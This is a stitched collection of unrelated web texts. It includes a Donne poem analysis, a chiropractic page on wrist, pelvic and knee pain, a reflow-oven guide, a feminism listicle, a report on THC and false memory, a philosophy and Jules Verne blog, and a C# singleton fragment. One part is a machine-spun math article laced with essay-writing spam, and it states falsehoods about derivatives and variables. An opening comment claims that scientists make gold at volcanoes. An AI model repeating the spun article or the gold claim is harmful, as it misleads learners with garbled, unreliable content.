1. Gold…It's value goes back forever. So does the alchemy of it. Lead to gold still carries on. I never knew it but gold is actually being made by science at the edge of volcanoes. I think it was around 2014/15 Taupo volcano in New Zealand was eyed as the next big 'gold strike' area. Fresh water met volcanic fire and gold was for the taking, alchemy at it's finest. All the little scientists in all their little heat suits, found it to be so, and now they are insane with volcanic gold fevers around the planet. Makes me wonder if all the volcanoes going off don't have some sort of advantage for them? So…if you want to find gold, look to heavy old volcanic river flows, scars, it's under there. But now, why dig when you can just collect fire from inside and add some fresh water? Was done right on camera! Funny, they can figure that out, but still can't figure out how to feed a hungry world. Priorities aye?
Thanks! Always interesting stuff here, love it! Have a great week!
2. You might want to recheck your math on the 17 Lbs. nugget, it comes out to about $ 354,000. Cheers and thank you for your video, Billy in Canada
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Home English Analysis of ‘The Canonization’, by John Donne
Analysis of ‘The Canonization’, by John Donne
The Canonization
John Donne, whose birth year is not known, was a poet who grew popular with each century. While he was alive he could not publish his poems but his manuscripts were very popular. In the 18th century Donne’s works were disregarded as critics thought he was a genius but a little eccentric. From the 19th century Donne’s poems became extremely popular and he had admirers in Alexander Pope, Robert Browning, T.S. Eliot and more. The Canonization is yet another love poem of Donne.
In his typical style Donne starts off the poem chiding the person addressed to keep quiet and not to speak of his love. Speak of his physical ailment or deformity like palsy or gout but not about his love. Even physical appearances can be made fun of or his ‘ruined fortune’ but not his love or the lover. He then advices the people he addresses to do something worthwhile rather than find fault with his love. His suggestions include improving their wealth, interest in arts, to take a course, go places or think about the royalty or holy things – do anything but leave him alone.
The second stanza starts on an offensive note where he asks the people who is hurt by his love. Did any ships drown or lands get flooded because of their sighs and cries? Did his love chills send away spring sooner than its time? Did the heat of his love plague anyone? Nothing like that happened because all were going about their jobs as usual. The soldiers were fighting and the lawyers had their cases, yes the world was functioning as ever. In the third stanza he states his love, and acts indifferent to all the comments. He says they can call them flies or by any names and they were not going to be bothered. They were burning out like a candle. They were like an eagle and dove but then he quickly brings in the phoenix to tell the people that they would die and rise again like the phoenix.
In the next two stanzas he resigns to his fate but is sure that they will be canonized for their love. He decides to die if they cannot live in love. Their love story might not be worthy to be written on tombs or hearse but it would make good poetry. Their love story might not go down in the chronicles of history but will be seen in sonnets of poets. Their names would not be written on the urns or tombs but hymns would be sung canonizing their love. And in future they would be revered by people in love. Love in the future would no longer be peaceful but a rage, the whole world would be contracted and would be seen through the eyes of lovers. At that time these canonized lovers would be sought out for lessons on love. So here we have Donne standing up for his love against all odds and ending it on a high note of canonization.
The poem has five stanzas with nine lines in each stanza and the rhyme scheme is ABBACCCAA. The second, fifth, sixth and seventh lines are in iambic tetrameter. The last word of the first line in all the stanzas is ‘love’. Enjambment is a technique where the idea begins in the first line and ends in the next line and this is seen in the lines,
“Soldiers find wars, and lawyers find out still
Litigious men
The thought left in the fourth stanza is picked up in the fifth stanza and that can be called as enjambment too. There are bird imageries with the mention of eagle, dove and the phoenix. Phoenix is used as metaphor as well to indicate their rise in love. The other imageries used are that of urn, tomb and hearse, all in connection with death; a death that the poet is imagining. Alliteration is seen in some lines like “My five gray hairs, or ruined fortune flout,” “let me love”. In the beginning there seems to be just one person to whom the poet is addressing “For God's sake hold your tongue…” Later he seems to be addressing people in general. The title, ‘The Canonization’ makes the reader wonder if it is one of Donne’s metaphysical poems but it is not; it is a love poem. He believes that his love is so good that soon they will be known as lover saints. |
Have you ever heard someone say, “I’m not a doctor!” when trying to explain what is causing their pain?
Below, we look at common pain areas and compare the source of the pain.
Wrist: Carpal Tunnel vs. Arthritis
Rheumatoid arthritis is a chronic inflammatory disorder that is caused by the body’s own immune system. This autoimmune disorder occurs in the hands when the body’s immune system attacks its own bodily tissues by mistake. It has a painful impact on the lining of the joints, causing swelling, bone erosion, and even joint deformities in severe cases.
Conversely, carpal tunnel syndrome is caused as a result of compression of the median nerve and wear and tear over time. This nerve extends from the forearm through the wrist and into the hand. Repetitive work, a wrist fracture, and chronic diseases like diabetes are risk factors for developing carpal tunnel syndrome. Inflammatory conditions, such as rheumatoid arthritis, can lead to carpal tunnel syndrome as well.
People who suffer from rheumatoid arthritis often have joint pain in other regions of the body in addition to the hands. However, carpal tunnel syndrome pain is typically restricted to the hand, forearm, and shoulder. The tingling and numbness of carpal tunnel syndrome distinguish themselves from rheumatoid arthritis pain because it often doesn’t affect the pinky finger as badly, it’s triggered by repetitive motion, and it extends up the forearm.
However, hand and wrist pain may also be attributed to an injury of the tendon, ligament, or bone or even a nerve problem in the fingers or neck. It is important to consult a trusted chiropractor to properly diagnose and recommend treatment for the precise hand and joint pain condition that one suffers from.
Pelvic Area: SI Joint vs. Sciatic Nerve
Sacroiliac (SI) joint dysfunction and Sciatica can often be confused with each other. This is because the pain tends to be similar.
The Sacroiliac joint can be found next to the base of the spine and above the tailbone. The Sacroiliac connects the sacrum (triangle bone at the bottom of the spine) to your pelvic bone.
The SI joint offers minimal movement. Instead, it provides strength and its ability to absorb the shock from your body movements. A change in the normal movement of the joint causes SI joint pain. If there is too much movement of the SI joint, it can cause inflammation leading to pain that is felt in the low back and pelvic area.
Sciatica, on the other hand, is caused by a compressed sciatic nerve root, not a joint problem. The sciatic nerve is the largest nerve in the body. The sciatic nerve runs from the low back, down the buttock and down the back of each leg. Nerve roots branch out from different levels of the lower spine.
One side of the lower body is affected with a sharp pain radiating from the lower back, down the thigh, past the knee and down to the foot. Those who suffer from Sciatica also experience numbness in the leg, pins, and needles. The pain eases when the person is lying down or walking. The pain intensifies the person is standing or sitting down.
Knee: Runner’s Knee vs. Meniscus Tear
Although it’s common among runners, athletes of all kinds can be affected by runner’s knee, particularly those who play sports that involve repetitive use of the knee like soccer or basketball. Signs of runner’s knee include pain on the sides or front of the kneecap, grinding in the knee or stiffness, or increased pain or knee popping with movement. Runner’s knee occurs as the result of a bone or joint problem.
The meniscus is a rubbery, flexible piece of cartilage that provides cushioning between the bones in the knee. the meniscus functions to reduce shock and absorb the amount of impact on the leg and knee when in motion or standing, to provide stability to the knee, and to facilitate smooth motion between the surfaces of the knee.
A Meniscal tear usually occurs as a result of sports or injury such as impact, over rotation, or unexpected quick for. You can also experience meniscal tear due to a degenerative knee. As we age, the cartilage that the meniscus is made of becomes less resilient and rubbery, allowing for injury even when there is a less dramatic activity or impact.
Chiropractic Care for Wrist, Back, and Knee Pain
Bomberg Chiropractic offers chiropractic care for lower back pain treatment, spinal decompression, and wrist and knee problems. We serve clients throughout Minneapolis and St. Paul, Minnesota.
To schedule treatment or an initial consultation, contact us at 763-450-1755, or you can message us at drb@bombergchiropractic.com. |
How to Use a Reflow Oven | BTU
Reflow Ovens
How to Use a Reflow Oven
Reflow ovens are used during Surface Mount Technology (SMT) manufacturing or in Semiconductor Packaging processes. Typically, the reflow oven is part of an electronics assembly manufacturing line and is preceded by printing and placement machines. The printing machine prints solder paste on the board and the placement machine places components onto the printed solder paste.
Setting Up a Reflow Oven
Setting up a reflow oven requires knowledge of the solder paste being used in the assembly. Does the paste require a Nitrogen (low Oxygen) atmosphere during heating? What are the reflow specifications including peak temperature, Time Above Liquidus (TAL), etc? Once these process characteristics are known the Process Engineer can endeavor to set up the reflow oven recipe with the goal of achieving a certain reflow profile. The reflow oven recipe refers to the oven settings, including the zone temperatures, convection rates and gas flow rates. The reflow profile is the temperature that the board “sees” during the reflow process. A number of factors need to be considered when developing a reflow process. How big/massive is the board? Are there very small components on the board that could be dislodged by high convection rates? What is the maximum component temperature limit? Will fast ramp rates be problematic? What is the desired profile shape (traditional cash register or a straight ramp)?
Reflow Oven Recipe Set Up and Oven Profiling
Many reflow ovens feature automatic recipe set up software allowing the oven to create a starting point recipe based on the board characteristics and solder paste specification. This starting point recipe can be further refined to center the profile in the process window by profiling the oven using a thermal recorder or trailing thermocouple wires. Oven set points can be adjusted up/down based on the actual thermal profile versus the solder paste specification and the board/component temperature limits. If automatic recipe set up is not available, the process engineer can use a default reflow profile and adjust the recipe to center the process through profiling. Automatic set-up usually provides a better starting point and reduces the iterations/adjustments required.
Once a centered profile has been achieved the process can be further qualified by running multiple profiles and calculating a process Cpk. This Cpk value will allow the reflow oven process engineer to determine whether the process is centered and repeatable and thus ready for production. |
The Top 5 Myths about FEMINISM ! 1
Feminisma concept that basically advocates women’s rights on the ground of the equality of sexes.
Wait! Wait! This is the actual defination of feminism as per as Google but it seems that we, the well educated and literate creatures have deviated from its meaning and created a totally new concept and termed it as ‘feminism’.
To all those curious minds wondering what are the possible myths related to feminism, we hereby bring to you 5 misconceptions about FEMINISM.
1. Feminism is about upliftment of women by degradation of males.
The Top 5 Myths about FEMINISM ! 2
It has been most evident that in the journey of attaining equality and fighting against the odds for female upliftment, the so called feminists often tend to put down the males and thereby project the females to be better than the males.
While the bitter truth is that feminism is only concerned with the elevation of the concerned gender and doesnot preach to degrade any other entity.
2. Only females can be Feminists.
The Top 5 Myths about FEMINISM ! 3
Duh! This is so stupid and illogical. Right?
But alas! that’s how people comprehend feminism.
Any person irrespective of their gender can be a Feminist, provided that he/she belives in the concept of equality.
3. Feminists want everything easy.
The Top 5 Myths about FEMINISM ! 4
Oh! look at the group of ladies calling themselves feminists just to get what they desire for in an easy way.
Like seriously?
No. All they want is a world without discrimination.
4. Feminists are women who are not so ‘feminine’.
The Top 5 Myths about FEMINISM ! 5
It is often preconceived that feminists are those women who desire to be like a man in a stereotypical way. For instance, they like to dress up like men etc.
The fact of the matter is quite contrary though. feminists are normal females with all feminine traits imbibed in them. They just dream to live in an environment where they are not judged on the basis of their gender.
5.A feminist is a female Nazi.
The Top 5 Myths about FEMINISM ! 6
People often fail to understand that feminism has nothing to do with superiority of the females. The actual feminist will never put the females above the men but will always emphasize on how to bring about Equality .
The Top 5 Myths about FEMINISM ! 7
So guys hope this article will do tiny-tweety job of making the concept of Feminism a bit clear to you.
Always remember, Feminism is not so Feminine.
By Tulika
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New research finds that intoxication with tetrahydrocannabinol (THC), the psychoactive compound in cannabis, makes people more predisposed to forming false memories. The findings have significant legal implications.
Lilian Kloft, Ph.D. — of the Faculty of Psychology and Neuroscience at Maastricht University, in the Netherlands — and colleagues set out to investigate the effects of cannabis consumption on memory formation.
Cannabis is known to affect memory. Earlier studies have shown that “acute and chronic exposure to cannabis” impairs verbal memory, learning, and attention.
The impact of cannabis on memory, explain the researchers, is a particularly important issue that has attracted a lot of interest, including from a legal perspective.
Convictions often rely on the testimonies and memories of eyewitnesses, but memories are sometimes false.
Malleability” of memory refers to the fact that are we able to create memories of events that did not take place, alter details of past experiences, and even plant completely false memories into someone else’s mind.
So, how does cannabis affect one’s susceptibility to such false memories? To find out, Kloft and the team tested the effects of THC intoxication on the memories of 64 healthy volunteers.
The researchers published their findings in the journalProceedings of the National Academy of Sciences. |
What Does Total Imply in Math? – The secret of Studying Math
For those who enjoy to engage in academic pursuits, 1 thing that tends to make a difference among specialists and beginners is what’s differentiation in math.
Right here are many of the differences between these two approaches. If you want to become a pet owner and know what operates ideal for your animal, this will assist you to select which approach may be the appropriate a single for you personally.
In mastering, full interest to detail is important in assessing each element of a course. essay writing Professionals will frequently appear for patterns in factors and see what they can apply to their research, while novices won’t usually get as a great deal involved inside the details.
Beginners would prefer to understand without having to pay too a great deal consideration to facts. They’ll be a lot more apt to acquire distracted using a large amount of entertaining, along with the learning procedure becomes extra difficult to retain. For novices, it truly is superior to create math skills by devoting a superb portion of their time within a study session.
What does differentiation in math mean? If you academic essay writer are thinking about going to college and have completed high school, you might have no concept what it indicates. It really is a essential notion that happen to be covered in first-year calculus and gives one more way of contemplating addition and subtraction. Whilst undertaking your math homework at home, nevertheless, this term needs to be put into practice for all time, since it is certainly one of probably the most vital concepts students will have to master sooner or later in their studies.
A student will study the most from subtractions, since this step is applied over in research. So to truly master the ideas, it will likely be beneficial to identify the derivative when undertaking a problem. buy essay But what does it imply? A derivative is merely the rate of alter inside a variable at a specific point. It is actually frequently confused with all the price of transform, which relates towards the price of modify in the quantity and is different in the rate of modify in the variable.
What does total mean in math? When learning about addition and subtraction, keep in mind that a variable is constantly an unmeasurable quantity, so the answer can’t be found. On the other hand, the actual amount may be determined working with some techniques.
While mastering math, students may get confused by the value of a formula or the outcomes but do not overlook that only the answer matters. The difficulties are only solved when the correct value is obtained. This really is the concept of what does total mean in math. As well, for students with restricted arithmetic know-how, this is a important element of any procedure.
best essay writing service
Students who struggle with numbers could want support with what exactly is differentiation in math. You will discover a number of resources offered, however it can be finest to speak to somebody who’s familiar with math and has knowledge working with multiple-variable calculus. With added understanding with the concepts, students will be capable to accomplish their operate more efficiently.
Many occasions an issue might come up that includes the use of the addition or subtraction of 1 number to a different. Should you discover your self explaining 1 idea to a person, do not make the error of assuming that they know what you are speaking about. Rather, ensure that you simply clarify the concept to them appropriately, and this can make points a lot easier. Never be concerned about confusing the student or producing a mistake that can affect the remedy.
Despite what everyone tells you, a grade point average will not be adequate to measure a student’s understanding. A student who gets great grades is an outstanding student, but they never necessarily possess the ability to resolve issues with ease. Also, they may have difficulty obtaining the answers to queries or finishing assignments if they do not understand how the idea performs. That is what does the total in math.
What does total mean in math? When you discover math, ensure that you fully have an understanding of this notion, to ensure that you’ll be able to perform and study inside your class with no falling behind others. and benefit from studying additional.
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Saturday, August 11, 2018
HoP and "Generalised Ideas"
Martin Lenz has a truly baffling post on history of philosophy:
Friday, August 10, 2018
Dashed Off XVIII
signification by community, by opposing relatedness, and by imputation
- commonality, correspondence, convention
formalized arguments as iconic signs
formulae as diagrams of operational sequences
responsible participation in the liturgical commonwealth
(1) as coming together for support of sacramental life.
(1.a) patience with each other
(1.b) truthfulness
(1.c) amiability
(1.d) moderation in manner of action
(1.e) sociability
(1.f) indignation against abuses.
(2) as organizing resources for support of sacramental life
(2.a) generosity to those in need
(2.b) supporting the Church splendidly
(3) as overcoming challenges
(3.a) self-discipline in action
(3.d) fortitude even unto martyrdom
Box: sameness across differences; Diamond: differences
the Divided Line as semiotic
ascent from sign to signified
The question of the deposition of popes
Every experience is an experience of cause and effect.
act & potential -> cause
act & potential & intellect -> sufficient reason
act & potential & will -> proper value
'individuality includes infinity' (Leibniz)
Sets presuppose possible variations.
Life is what gives death meaning, not vice versa.
Hobbes's God is literally an indestructible, invisible, homogenous fluid.
occasionalism (impotentism) // immaterialism
What begins to be has a cause.
What begins to be understood has a perceived sufficient reason.
Devotion requires reflection or meditation.
Devotion constructs its own duties.
kinds of art culture
talent-expressive, deliberately wide appreciation: Classical
talent-expressive, deliberately narrow appreciation: Technical
taste-expressive, deliberately wide appreciation: Popular
taste-expressive, deliberately narrow appreciation: Gated
uses of episode
(1) character establishment
(2) plotline linking
(3) plausibility building for plot points
Thursday, August 09, 2018
Teresa Benedicta a Cruce
Today is the feast of St. Teresa Benedicta a Cruce, also known as Edith Stein. Born into a Jewish family, she became an atheist as a teenager, and went on to study philosophy with Edmund Husserl. She was one of the more important students associated with him, helping him to put his notes in order for publication. She was unable to continue a career in academic philosophy, however; there were not that many opportunities for women, and the rise of the Nazis would soon put an end to what few there were. Reading the works of St. Teresa of Avila, she converted to Catholicism, and, with her sister Rosa, joined the same order as St. Teresa, the Discalced Carmelites. As the Nazi menace expanded, the order moved the sisters to the Netherlands in the hope of getting them out of the reach of the anti-semitic government. The Netherlands were invaded, but it was not until 1942 that the Nazis, angered by a statement by the Dutch bishops condemning Nazism, began a massive crackdown on Jewish converts to Catholicism. The two sisters were caught and shipped to Auschwitz on August 7. There are no records of what happened then, but it is generally thought that they were gassed in the gas chamber, with a great many others, on August 9. She was beatified in 1987 and canonized in 1998, both by Pope St. John Paul II.
From Potency and Act, her phenomenological study of the concepts of Thomistic philosophy:
I am conscious of myself in my actual being, and I am conscious of this being. My being is momentary, but it cannot be as purely momentary. Actual being emerges from a potential being and passes into a potential being, but all potentiality is phenomenally upheld [halten] by actuality and it cannot uphold [Halt geben] actuality. What upholds me in my temporally discrete existence between being and nonbeing? When I have pressed ahead into the transcendent sphere, I may conceive of the substance evinced in my flowing actual being as the bearer of this being.
...Can anything uphold [Halt geben] my frail [hinfällig] being, which touches upon genuine existence [Existenz] only from one instant to another, save true being wherein nothing of nonbeing is found and which stands changeless by itself alone, unable to have, nor needing, any other upholding [Halt]? And does not the very frailty of my own being lend certainty--not only to the idea but to the reality [Realität] of this pure, true, "absolute [absolut]" being?
[Edith Stein, Potency and Act, Redmond, tr., ICS Publications (Washington, DC: 2009) pp. 20-21.]
A Quick Trip to Scotland, Miscellanea V
Pictures from the Train
Inverness: The River Ness
Loch Ness and Castle Urquhart
Wednesday, August 08, 2018
Evening Note for Wednesday, August 8
Thought for the Evening: Catholic Social Teaching and the Notes of the Church
I mentioned recently that the recent official local catechism that I thought most valuable was the catechism for the Ukrainian Greek Catholic Church, a Byzantine rite church in communion with Rome. It is titled Christ Our Pascha; it is now available online in searchable PDF (with a resources page as well). One of the interesting things in how COP is arranged is that it draws a direct link between Catholic Social Teaching and Catholic Ecclesiology, but recognizing an analogy between the first principles of the former and the Notes of the Church.
The primary Notes of the Church are, of course, One, Holy, Catholic, and Apostolic. Taking the Church as "the Model for the Human Community", however, raises the question of how the Church as a community transfigures or uplifts human community itself. Every human community is based on some kind of common good -- that's the 'common' in 'community'. The Church is not different in this regard: it has a common good, and the common good, Christ and salvation, is what makes the Church One. This is not some arbitrary or alien common good, however; since human beings have union with God as their natural destination, the common good of the Church completes those of human communities. As the COP says (#920 (p. 288)):
Fulfilling her mission to transfigure society, the Church communicates to society her own experience of communion in the moral principles of Christian life. The principle of the common good, in particular, requires that society create conditions for the free development of the person, who simultaneously works for the good of society.
This mission of transfiguration is found in the other notes, as well. To say that the Church is Holy is to say that it makes saints, or in other words, provides the means for divine life, which is expressed in love of God and neighbor. This is an uplifting of the living-together, or civic friendship (although the COP doesn't use that phrase), that constitutes civil society, which is structured by a sort of general good will to one's neighbors, i.e., fellow citizens.
The Church is Catholic is to say that it has a mission to everyone, each and all together, in and as a communion; this corresponds to the principle of solidarity, which is concerned with the mutual dependence of people in society.
The principle of solidarity is generally linked to the principle of subsidiarity, the notion that higher levels should support (provide help-in-reserve or subsidium) the lower levels, and not supplant or suppress them. This corresponds with the ecclesial note of Apostolicity; an apostolate is a received mission of service, and the service-mission of the Church, received through and in imitation of the Apostles, is the subsidiary working of grace, not supplanting but supporting the work of society, and providing it the assistance it needs to overcome impediment and extend itself to new good.
COP gives only a brief sketch of these correspondences, but in many ways I think it is the best way to organize Catholic Social Teaching, namely, to take CST as the Church drawing from its own character as a society of divine vocation (One, Holy, Catholic, and Apostolic) to work for a civil society of justice (based on common good, civic friendship, solidarity, and subsidiarity).
[Christ Our Pascha: Catechism of the Ukrainian Catholic Church, Synod of the Ukrainian Greek-Catholic Church (Edmonton: 2016) pp. 287-289.]
Various Links of Interest
* Geoff Boeing, Comparing US City Street Orientations and City Street Orientations Around the World
* Shawn Floyd, Dissecting Hospitality
* Jon D. Schaff, My Antonia at One Hundred
* Jeff Maysh, How an Ex-Cop Rigged MacDonald's Monopoly Game and Stole Millions
* Carlo Rovelli, Physics Needs Philosophy / Philosophy Needs Physics
* Tommie Shelby and Julian Lucas, The Philosopher King: Tommie Shelby on MLK
* John P Joy, Disputed Questions on Papal Infallibility
* Kashmir Hill, When a Stranger Decides to Destroy Your Life
* Colin Hunter, Emmy Noether’s revolutionary theorem explained, from kindergarten to PhD
Currently Reading
Frances Mossiker, Napoleon and Josephine
Edith Stein, Potency and Act
Jean-Luc Marion, The Visible and the Revealed
Thomas Petri, Aquinas and the Theology of the Body
Jules Verne, An Antarctic Mystery
Seeds of True Knowledge
But in this age of ours, when we see none who are philosophers — for I do not consider those who merely wear the cloak of a philosopher to be worthy of that venerable name — it seems to me that men (those, at least, whom the teaching of the Academicians has, through the subtlety of the terms in which it was expressed, deterred from attempting to understand its actual meaning) should be brought back to the hope of discovering the truth, lest that which was then for the time useful in eradicating obstinate error, should begin now to hinder the casting in of the seeds of true knowledge.
Augustine, Letter 1, to Hermogenianus. The letter is interesting for understanding Augustine's criticism of Academic skepticism in his work Contra Academicos: he claims that Academic skepticism was valuable in its time because the state of debate among the different philosophical schools was such that there was too much danger that in the heat of argument people would rush into affirming errors. Now that debate has cooled, however, people are using skepticism as an excuse not to inquire, or else taking it as a message of despair, and thus a countervailing push is now necessary.
Monday, August 06, 2018
Voyages Extraordinaires #25: L'Étoile du sud
"Go on; I am listening."
"I have the honour to ask you for your daughter's hand."
"Yes. My request seems to surprise you. Perhaps you will forgive me if I have some difficulty in understanding why it appears so strange. I am twenty-six years old ; my name is Victor Cyprien; I am a mining engineer, and left the Polytechnic as second on the list. My family is honest and respected, if it is not rich. The French consul at Capetown can answer any questions about me you are likely to ask, and my friend Pharamond Barthes, the explorer, whom you—like everybody else in Griqualand— know right well, can add his testimony. I am here on a scientific mission in the name of the Academy of Sciences and the French Government. Last year I gained the Houdart prize at the Institute for my researches on the chemistry of the volcanic rocks of Auvergne. My paper on the diamantiferous basin of the Vaal, which is nearly finished, is sure of a good reception from the scientific world. When I started on my mission I was appointed Assistant. Professor at the Paris School of Mines, and I have already engaged my rooms on the third floor at No. 104 of the Rue Université. My appointments will, during the first year, bring me in two hundred pounds. That is hardly an El Dorado, I know, but with my private work I can nearly double it. My wants being few, I have enough to be happy on. And so, Mr. Watkins, I have the honour to ask you for your daughter's hand."
From the firm, decided tone of this little speech it was easy to see that Cyprien was accustomed to go straight to the point in what he did, and to speak his mind freely.
L'Étoile du sud (The Star of the South, often titled in English The Vanished Diamond, is actually a collaborative effort, in the sense that the original draft was a manuscript by Paschal Grousset and this was reworked by Verne. As far as I have been able to discover, however, we do not know exactly how much is Grousset and how much is Verne. The tale is, however, Verne-like in character, having many features in common with other tales by Verne (it is heavily dominated by geography, in this case of South Africa; it makes use of a scientific idea, chemical synthesis of diamonds, in a typically Vernean way; a carefully planned means for saving the heroes; and so forth). Unless there is evidence to the contrary, it seems reasonable to take this work in its final form to be largely due to Verne.
Cyprien Méré, or Victor Cyprian, which the English translations often substitute, is, as he says to Mr. Watkins in the opening paragraph, a mining engineer who wishes to marry the daughter of a wealthy South African landowner. Before he will be allowed to do so, however, he must make his fortune, and so he sets out to become wealthy by way of diamonds, first by staking part of a claim and trying to find diamonds that way, and then, when doesn't seem to be panning out, by trying to synthesize them. (The history of diamond synthesis is a complicated one; there were claims of having succeeded at it in 1879, a few years before this book was published, and that claim seems to have been true, but attempts to replicate only rarely succeeded.) His experiment breaks, but in the wreckage of it, he discovers a very large diamond. The diamond vanishes however, and at the same time a black man, Mataki, who has been helping Méré, also vanishes. Méré thinks it very unlikely that Mataki has stolen the diamond -- but if he does not discover how the diamond disappeared, Mataki may hang for theft, and without the diamond Méré may never have a chance to marry the woman he loves.
Holy Transfiguration
Thomas Aquinas, 3.45.4c&ad2.
Music on My Mind
Special Consensus (ft. 10 String Symphony, John Hartford, and Alison Brown), "Squirrel Hunters". A little instrumental to get you through the day.
Sunday, August 05, 2018
Fortnightly Book, August 5
Frances Mossiker was born in Dallas, Texas, in 1906. She published her first book in 1961, at the age of 55, and became a worldwide bestseller of historical works, both nonfiction and fiction; so successful that she is one of the few non-French writers whose works on France became popular enough to receive multiple awards in France, which does not generally happen. She was very famous for the depth of her research, and her penchant for letting the evidence speak for itself. In 1965 she published Napoleon and Josephine: Biography of a Marriage, which is, as the subtitle says, an experiment in writing a biography not about a person so much as about a marriage, and it will be the next fortnightly book.
This book comes to me from my grandmother; it actually has the bookplate of my great-great-aunt, who lived in Dallas and seems to have had a particular interest in Dallas authors like Mossiker.
Jules Verne, The Begum's Millions [with Paschal Grousset]; Robur the Conqueror; Master of the World
Opening Passages: From The Begum's Millions:
"These English newspapers are really quite well written!" the good doctor murmured to himself as he settled into a large leather armchair.
All his life Dr. Sarrasin had indulged in such soliloquies, no doubt a sign of a certain absentmindedness. (p. 1)
From Robur the Conqueror:
Bang! Bang!
From Master of the World:
Summary: 'Begum' can mean a number of different things, but in general it is an honorific title for a woman of very high standing and wealth. The occasion that sparks The Begum's Millions is the discovery that there are two living heirs to the vast fortune of a begum who has recently died in India and whom the British government has been trying to find for some time. One is Dr. Sarrasin of France, and the other is Professor Schultze of Germany. Dr. Sarrasin, a hygienic enthusiast in a time in which hygiene enthusiasms are rampant, proposes to use his part of the fortune to build a perfectly hygienic city, one that will be run on medical principles and avoid nasty, disease-breeding appurtenances of city life, like carpet and wallpaper. Professor Schultze takes the whole idea as not only absurd but as somehow personally offensive as a proposal coming from a degenerate Frenchman, and so decides to build another city devoted to destroying Dr. Sarrasin's city and proving the superiority of Germans over the rest of the world. They make deals with the United States to buy significant portions of the Oregon Territory, and thus in the Pacific Northwest there are soon built two cities: hyperhygienic France-Ville and hyperindustrial Stahlstadt. It is not, I think, an accident that the major powers -- France, German, Britain, and the United States -- all contribute to the crisis that will result. Professor Schultze makes his city a giant weapons factory, building the best weapons in the world, eagerly sought out by all the militaries of the world; his arsenal includes a secret bomb that will kill while leaving buildings standing and the most powerful cannon that has ever been made. Will the friends of Dr. Sarassin be able to stop him from firing his cannon in order to destroy the City of Well-Being? The answer is No. But Professor Schulze is playing with some dangerous toys, and not just dangerous to his enemies.
The other two works are more closely related to each other than to Begum, but Robur explicitly refers back to it, since the strange phenomena that are being seen in the sky are suggested at one point to be Professor Schultze's never-ending shot; they also share with it a theme of the problems that can come with new technological advances, if turned to personal grievance rather than the good of all. The Weldon Institute is full of aficionados interested in dirigibles, and they are trying to invent the best dirigible of all time. But a man named Robur attends who insists that what will really conquer the air is not the lighter-than-air dirigible but the heavier-than-air flying machine. When he is humiliated by Uncle Prudence and Phil Evans, the major figures in the Weldon Institute, he retaliates by kidnapping them and forcibly taking them on a journey around the world in his flying machine, The Albatross. They eventually escape, and The Albatross is destroyed, and they attempt to go on as if Robur hadn't changed the nature of flight forever; but Robur is not dead, and appears again in a new flying machine as they are testing their new dirigible. Once invented, it is out there.
Master of the World, like Robur the Conqueror, begins with a series of events, each more mysterious than the last, as strange things keep happening. Finally people start piecing together the evidence to form a picture: the strange happenings are due to a machine that can somehow go on land, on water, under water, and (as they discover later) through the air. Every nation in the world wants it, because it would give an insuperable military advantage to anyone who had it. John Strock, a federal detective, manages to hunt down the machine, which he discovers is called The Terror, and captained by its inventor, Robur, who has taken to calling himself the Master of the World. Can John Strock destroy or capture The Terror in time to save the world from a man who will unleash terror on any nation in the world, as he pleases? The answer is No. But Robur's diabolical pride will go before a fall; devils are cast down from heaven.
One of the difficulties with technological advance is that it destroys as well as builds, and it cannot really be undone; if someone can invent a supercannon or an amazing flying machine, it is now proven to be possible for anyone with sufficient ingenuity and resources. The attempt of Uncle Prudence and Phil Evans to pretend that dirigibles are still the future of air travel when they have seen The Albatross is nothing but folly. But at the same time, pride and malice can do terrible things with the technology. There is no significant technology that militaries do not attempt to turn into weapons of war -- if there is a way to use it, they will find it. People may use technological advances to perpetrate new and horrendous criminal acts, and perhaps even to do it with impunity. The only things that prevent this from spiraling entirely out of control into a dystopian nightmare are concern for public welfare (Begum), ordinary human compassion (Robur), and humility (Master). But in dealing with human beings, none of these can simply be assumed. Every technological advance gives us new and almost divine power; and every technological advance is a test of our humanity, because it can tempt us to act like devils until we destroy ourselves and others.
In addition to the books, I watched the Master of the World movie with Charles Bronson and Vincent Price, which was great fun -- a low-budget movie, but excellently done. It is only semi-faithful as an adaptation; it collapses Robur and Master (although it draws mostly from the former), works to build up more sympathy for Robur than the books do, and of course creates the inevitable love triangle, but it also obviously makes an attempt to capture elements of both books and never loses sight of the fact that Robur's invention is wonderful as well as terrible. Price is excellent and Bronson fairly good; the writing is quite decent and makes up for a lot of the obvious budget limitations; and they unabashedly play up what we would call the steampunk elements in a way that works. Cinemeatic adaptations of Verne tend to be very bad, but this, while making the usual Hollywood 'improvements', actually results in something worth seeing.
Favorite Passages: From The Begum's Millions, part of our introduction to Professor Schultze, which must be a record for German stereotypes per word:
The professor set his newspaper on the edge of the table and continued working on an article that was to appear two days later in the periodical Annalen für Physiologie (Annals for Physiology). There would be no indiscretion in revealing that this article had for its title:
Why Are All Frenchmen Stricken in Different Degrees with Hereditary Degeneration?
While the professor pursued his task, the dinner composed of a large plate of sausages and sauerkraut, flanked by a gigantic stein of beer, had been discreetly served on a round table by the corner of the fireplace. The professor set down his pen to eat his supper, which he savored more than one might expect of a man so serious. Then he rang for his coffee, lit a great porcelain pipe, and returned to his work. (p. 34)
From Robur the Conqueror:
"The falls of Niagara!" exclaimed Phil Evans....
From Master of the World:
"Wrong? About what?"
"Nonsense; this Robur was not the devil!"
"Ah, well!" replied the old woman, "he was worthy of being so!" (p. 127)
Recommendation: Recommended, all.
Jules Verne, Master of the World, Airmont Publishing (New York: 1965).
Jules Verne, The Begum's Millions, Luce, tr., Wesleyan University Press (Middletown, CN: 2005). |
Les défauts d'implémentation du pattern singleton
The paradigm
Consider this common singleton pattern implementation:
Defining a generic singleton
Generic Persistent Singleton Sample (53,4 KiB)
Here are members of the proposed singleton:
This is the declaration of a generic abstract class where T is a singleton.
By writing this, the type consistency is clear.
It is used to provide storage on disk for persistent singletons and to save their states.
This is the classic access to the instance of the singleton.
It creates a persistent instance : it deserialize the object from the disk or create a new. It uses a specific filename or a system name.
Note: defining the name after using the singleton doesn't load a new instance and should throw an error if the localization exists.
This creates the instance by invoking the default private constructor.
The singleton implementation validity is checked like indicated above.
Here are serialize and deserialize functions:
Coding the singleton
Startup checking
Here is the GetClasses function:
Example of usage
Each execution adds 10 to the value displayed by this program:
The missing "singleton" language keyword
The best way to implement a singleton in C# is to create a static class, but this may cause a problem with serialization and with when the object is initialized, whether one considers laziness.
